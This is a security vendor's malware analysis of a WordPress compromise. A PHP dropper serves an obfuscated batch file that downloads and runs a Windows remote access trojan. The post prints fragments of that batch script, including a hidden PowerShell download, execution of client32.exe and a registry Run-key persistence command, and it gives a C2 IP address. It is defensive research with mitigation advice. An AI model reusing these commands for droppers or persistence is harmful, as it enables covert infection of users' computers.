Stealthy WordPress Malware Drops Windows Trojan via PHP Backdoor

Stealthy WordPress Malware Drops Windows Trojan via PHP Backdoor

Last month, we encountered a particularly interesting and complex malware case that stood out from the usual infections we see in compromised WordPress websites. At first glance, the site looked clean, no visible signs of defacement, no malicious redirects, and nothing suspicious in the plugin list. But beneath the surface, a hidden infection chain was quietly working to deliver a trojan to unsuspecting visitors.

It was a layered attack involving PHP-based droppers, obfuscated code, IP-based evasion, auto-generated batch scripts, and a malicious ZIP archive containing a Windows-based trojan (client32.exe).

The Initial Compromise: Where it Begins

While we don’t have the initial compromise vector in these files, it’s highly probable that this malware originates from a previously compromised website. Attackers often inject malicious code into legitimate PHP files or create new ones to gain a foothold. In this case, two PHP files, header.php and man.php, appear to be central to the operation.

Summary of the Infection

The threat actor planted a number of malicious files across the WordPress environment. These files included:

  • header.php – The main malicious controller
  • man.php – A disguised file interaction handler
  • count.txt – A log file used to store visiting IPs
  • update.bat – A generated batch file that downloads and executes malware
  • psps.zip – A fake ZIP archive containing client32.exe, a Windows Trojan

Together, these components form a stealthy infection chain designed to identify and track unique visitors, log non-repeating IPs, generate and serve a customized .bat file, download and extract a ZIP payload, execute a malicious EXE on the victim machine, and persist by adding a registry entry on Windows startup.

Analysis of the Malware

header.php: The Main Dropper

The header.php file is the central intelligence of this malware campaign. It is meticulously crafted to profile victims, enforce an IP-based blacklist, dynamically generate a heavily obfuscated Windows batch file, and then force its download onto the client’s system.

The script begins with a crucial check on the HTTP request method:

<?php

if ($_SERVER['REQUEST_METHOD'] != 'POST') {   
    exit;
}

IP Tracking to Avoid Repetition

Following this, the script implements an IP-based logging and anti-replay mechanism:

IP tracking to avoid repetition

The malware logs each visitor’s IP in count.txt located inside the same directory and avoids serving the batch file twice to the same IP.

Forced Download Headers

Finally, after the batch file $payload is fully constructed and written to a temporary file named update.bat on the server, header.php manipulates the HTTP headers to force a download in the victim’s browser:

forced download headers

update.bat Payload Generation

The core functionality of header.php culminates in the construction of a Windows batch script string, stored in the $payload variable. This batch script, once executed on a victim’s machine, serves as the multi-stage dropper, orchestrating the download, extraction, execution, and persistence of the final malware. After de-obfuscation and variable substitution, the essence of the generated batch file is as follows:

update.bat payload generation

The key actions performed by this batch script upon execution on a Windows system are:

  • Variable Initialization: Sets several environment variables using the highly obfuscated random names generated by the PHP script. These include the remote URL for the zipped payload, the local path for the downloaded zip (%APPDATA%\Program.zip), the local directory for extraction (%APPDATA%\Directory), and the final path to the executable payload (%APPDATA%\Directory\client32.exe).
  • Directory Creation: It ensures that the target directory for malware extraction (%APPDATA%\Directory) is created if it does not already exist, preparing the environment for the payload.
  • Payload Download (via PowerShell): The script utilizes the following command to download the tsle.zip archive from the specified URL:
    powershell -Win^dow^St^yle Hidden -Command "Invoke-WebRequest -Uri ... -OutFile ..."
  • Payload Extraction (via PowerShell): Subsequently, another PowerShell command is executed that loads the necessary .NET assembly that provides ZIP file manipulation capabilities and then extracts the contents of the downloaded .zip file into the target directory:
    powershell -Win^dow^Sty^le Hidden -Command "Add-Type -AssemblyName 'System.IO.Compression.FileSystem'; [IO.Compression.ZipFile]::ExtractToDirectory(...)".
  • Malware Execution: The following line executes the primary malware payload, client32.exe, from its newly extracted location:
    start "" "![RandomVariableNameForSHELL]!"
  • Persistence Establishment: The next command is a critical step that establishes persistence. It adds an entry to the current user’s Run registry key, ensuring that client32.exe automatically launches every time the user logs into their Windows session, thereby guaranteeing the malware’s survival across system reboots.
    reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "Program_Cs1" /t REG_SZ /d "![RandomVariableNameForSHELL]!" /f
  • Post-Execution Cleanup: The script then executes the following to remove the initial downloaded .zip file (Program.zip), aiming to remove forensic traces:
    del "%[RandomVariableNameForAXONAME]%"

    It’s noteworthy that the rmdir /s /q command to remove the extracted directory is commented out (::), indicating the explicit intent for the extracted malware (client32.exe) to persist on the compromised system.

count.txt: IP Blacklist and Activity Log

The count.txt file serves a dual purpose within this campaign: it functions as a simple activity log for dropper interactions and, critically, as a rudimentary blacklist to prevent repeated infections and analysis attempts from the same IP addresses.

As integrated with the header.php script, this file is read to determine if a client’s IP has previously triggered the dropper. If an IP is found in this file, header.php will exit, thereby preventing additional payload deliveries to the same IP.

man.php: The Administrative Interface

The man.php file functions as a basic web-based administrative panel designed for the threat actor to manage and monitor the count.txt log file. It provides capabilities to display the size and record count of count.txt, as well as its raw content directly within a web browser.

Furthermore, man.php includes functionalities to manipulate count.txt. The attacker can use dedicated buttons to either delete the entire log file, effectively resetting the IP blacklist, or to append new records.

administrative interface

psps.zip: Hidden Trojan Archive

This ZIP archive, hosted externally, contains client32.exe, a Windows binary trojan that is identified as a hidden Remote Access Trojan (RAT).

hidden trojan archive

This malware establishes a covert connection back to the Command and Control (C2) server at 5.252.178.123 on port 443.

malware covert connection

Although we did not cover the internal workings of client32.exe, the behavior matches common traits of remote access trojans (RATs), including:

  • Silent execution
  • Registry persistence
  • Stealthy payload delivery from known malware C2 domains

malware covert connection 2

The batch script modifies the Windows Registry by adding an entry to the HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run key. This critical step ensures that client32.exe automatically executes every time the user logs into their system, thereby guaranteeing the malware’s survival across system reboots.

Mitigation and Recommendations

This campaign highlights the critical need for a robust, multi-layered security approach.

For Website Owners:

  • Continuous Monitoring: Implement regular malware scanning and file integrity monitoring for your web applications and server.
  • Web Application Firewall (WAF): Utilize a WAF to detect and block malicious requests, including code injections and suspicious outbound connections.
  • Patch Management: Keep all CMS, themes, plugins, and server software updated to patch known vulnerabilities.
  • Secure Configurations: Enforce strong access controls, secure file permissions, and general server hardening best practices.
  • Incident Response: Have a clear plan for detecting, containing, and recovering from compromises.

For End-Users:

  • Download Vigilance: Be highly suspicious of unexpected executable downloads (e.g., .bat, .exe) from any website.
  • Updated Security Software: Ensure your antivirus or EDR solution is active and up-to-date.
  • System Updates: Keep your operating system and all applications patched.
  • User Account Control (UAC): Do not disable UAC on Windows, as it provides a crucial security prompt.
  • Awareness: Understand social engineering tactics to avoid falling victim to malicious prompts.

Conclusion

This malware case demonstrates how attackers are pushing the limits of stealth in web-based trojan deployments. From intelligent payload delivery to custom obfuscation and persistence techniques, every piece was crafted to avoid detection and stay hidden as long as possible.

We recently wrote about another case of PowerShell malware, and we’ve been seeing many cases related to this trend. Attackers are increasingly leveraging batch scripts and PowerShell to drop and launch trojans silently, making detection harder for endpoint security solutions.

If your WordPress site has been compromised, it’s essential to investigate further. Malware like this can lead to infected user machines, data exfiltration, and long-term control by remote attackers.

Need Help?

If you suspect your website has been compromised, Sucuri’s Incident Response Team is available 24/7 to clean and secure your site. Our malware research and continuous monitoring services help stay one step ahead of evolving threats.

Chat with Sucuri

You May Also Like